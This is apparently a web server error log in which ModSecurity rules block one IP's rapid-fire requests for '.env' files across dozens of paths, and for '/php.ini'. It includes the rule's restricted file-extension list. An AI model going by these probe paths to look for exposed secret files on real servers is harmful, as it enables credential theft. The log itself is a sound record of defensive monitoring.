[Mon Jul 28 20:46:15.509881 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/patchwork/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueZgAAAAk&quot;]
[Mon Jul 28 20:46:15.510048 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/patchwork/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueZgAAAAk&quot;]
[Mon Jul 28 20:46:15.533242 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/path/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueZwAAAAk&quot;]
[Mon Jul 28 20:46:15.533471 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/path/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueZwAAAAk&quot;]
[Mon Jul 28 20:46:15.533635 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/path/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueZwAAAAk&quot;]
[Mon Jul 28 20:46:15.555651 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pfbe/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pfbe/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueaAAAAAk&quot;]
[Mon Jul 28 20:46:15.555849 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pfbe/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueaAAAAAk&quot;]
[Mon Jul 28 20:46:15.555999 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pfbe/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueaAAAAAk&quot;]
[Mon Jul 28 20:46:15.578764 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueaQAAAAk&quot;]
[Mon Jul 28 20:46:15.579043 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueaQAAAAk&quot;]
[Mon Jul 28 20:46:15.579195 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueaQAAAAk&quot;]
[Mon Jul 28 20:46:16.261308 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pictures/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pictures/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwuehQAAAAk&quot;]
[Mon Jul 28 20:46:16.261507 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pictures/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwuehQAAAAk&quot;]
[Mon Jul 28 20:46:16.261674 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pictures/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwuehQAAAAk&quot;]
[Mon Jul 28 20:46:16.284850 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /platform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platform/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwuehgAAAAk&quot;]
[Mon Jul 28 20:46:16.285043 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platform/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwuehgAAAAk&quot;]
[Mon Jul 28 20:46:16.285199 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platform/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwuehgAAAAk&quot;]
[Mon Jul 28 20:46:16.307480 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /playground/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/playground/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwuehwAAAAk&quot;]
[Mon Jul 28 20:46:16.307690 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/playground/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwuehwAAAAk&quot;]
[Mon Jul 28 20:46:16.307856 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/playground/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwuehwAAAAk&quot;]
[Mon Jul 28 20:46:16.330196 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugin_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugin_static/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwueiAAAAAk&quot;]
[Mon Jul 28 20:46:16.330436 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugin_static/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwueiAAAAAk&quot;]
[Mon Jul 28 20:46:16.330622 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugin_static/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwueiAAAAAk&quot;]
[Mon Jul 28 20:46:16.353801 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwueiQAAAAk&quot;]
[Mon Jul 28 20:46:16.354008 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwueiQAAAAk&quot;]
[Mon Jul 28 20:46:16.354169 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwueiQAAAAk&quot;]
[Mon Jul 28 20:46:16.376389 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /post-deployment/.vscode/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/post-deployment/.vscode/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwueigAAAAk&quot;]
[Mon Jul 28 20:46:16.376592 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/post-deployment/.vscode/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwueigAAAAk&quot;]
[Mon Jul 28 20:46:16.376755 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/post-deployment/.vscode/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwueigAAAAk&quot;]
[Mon Jul 28 20:46:16.398916 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /postfixadmin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/postfixadmin/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwueiwAAAAk&quot;]
[Mon Jul 28 20:46:16.399112 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/postfixadmin/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwueiwAAAAk&quot;]
[Mon Jul 28 20:46:16.399273 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/postfixadmin/.env&quot;] [unique_id &quot;aIfFeF4f-9g1kJksHwueiwAAAAk&quot;]
[Mon Jul 28 20:46:16.510456 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /preview-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview-env/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNNAAAAAQ&quot;]
